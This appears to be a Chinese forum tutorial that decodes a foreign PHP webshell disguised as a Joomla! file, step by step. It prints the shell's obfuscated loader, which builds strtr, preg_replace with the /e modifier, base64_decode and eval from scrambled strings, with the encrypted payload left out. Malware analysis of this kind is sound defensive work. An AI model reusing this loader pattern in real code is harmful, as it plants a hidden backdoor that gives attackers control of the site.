解密preg_replace('/.*/e'即国外仿Joomla程序加密解密过程

有习科论坛会员在论坛发了一个国外的马求解密,下载看了一下,这个webshell在国外很普通,加密方式在国外也有成型的工具,加密后,文件源码被隐藏,然后加了类似Joomla!程序的版权的文件头,伪装成了joomla!的官方文件

解密方式其实不难,鉴于论坛没有,于是就发出来了
首先我们来梳理一下这个文件结构,精简下文件,其中加密过的代码篇幅太长,就用文字“加密过的密文”给代替了。

$JPATH_CONFIGURATION = "af6893d42865a68b91b27cedc82f60c5";
$default_charset='Wind'.'o.'.'ws-12'.'51';
$default_action='F'.'il'.'esMan';
$color='#d'.'f5';
$default_use_ajax=true;
$JFactory = strrev('edo'.'c'.'ed_4'.'6e'.'sab');
$JComponentHelper = strrev('ecalp'.'er'.'_ge'.'rp');
$fUaqGnF896hrS="\163\164\162";
$F896hrS="\164\162";
$brtAe=$fUaqGnF896hrS.$F896hrS;
$qGnF8="加密过的密文";
$sHgty=$brtAe($qGnF8,"fedcba","abcdef");
$frdgt='LsuEK'^'c]_j.';
$JComponentHelper($frdgt,"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");

结构大致就是这样。几个变量例如$JPATH_CONFIGURATION$default_charset$color这样的基本能猜到意思的,就先不用管了。

主要看这么几个。
首先看$brtAe这个变量,随便echo一下这个变量的值:

$fUaqGnF896hrS="\163\164\162";
$F896hrS="\164\162";
$brtAe=$fUaqGnF896hrS.$F896hrS;
echo $brtAe;

得到结果是strtr,原始代码中唯一引用过的变量的代码就发生了一些变化

$sHgty=$brtAe($qGnF8,"fedcba","abcdef");  //原始代码
$sHgty=strtr($qGnF8,"fedcba","abcdef");   //替换后

以此类推,继续替换其他玩文字游戏的变量

$frdgt='LsuEK'^'c]_j.';
echo $frdgt;
$JComponentHelper = strrev('ecalp'.'er'.'_ge'.'rp');
echo $JComponentHelper;

得到$frdgt变量的内容为/.*/e$JComponentHelper的变量内容是preg_replace

进而最后一行代码也发生了变化

$JComponentHelper($frdgt,"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");
preg_replace('/.*/e',"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");

接着把上面\x开头的的16进制的内容转出来,得到

\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28 –> /*765784*/eval($JFactory(
\x29\x29\x3B –> ));

转换方法有很多,我是使用文本文档将\x替换为空,然后将字符串2F2A3736353738342A2F6576616C28244A466163746F72792829293B分别以16进制写入WinHex,就得到ASCII文本,即上面的明文。

用上面一样的方法将16进制代码中引用的变量$JFactory输出得到其结果是base64_decode,最后把preg_replace('/.*/e',去掉,换成

$qGnF8="密文密文密文密文密文密文密文";
$sHgty=$strtr($qGnF8,"fedcba","abcdef");
echo(base64_decode($sHgty));

运行一下,最后就得到了PHP的源码。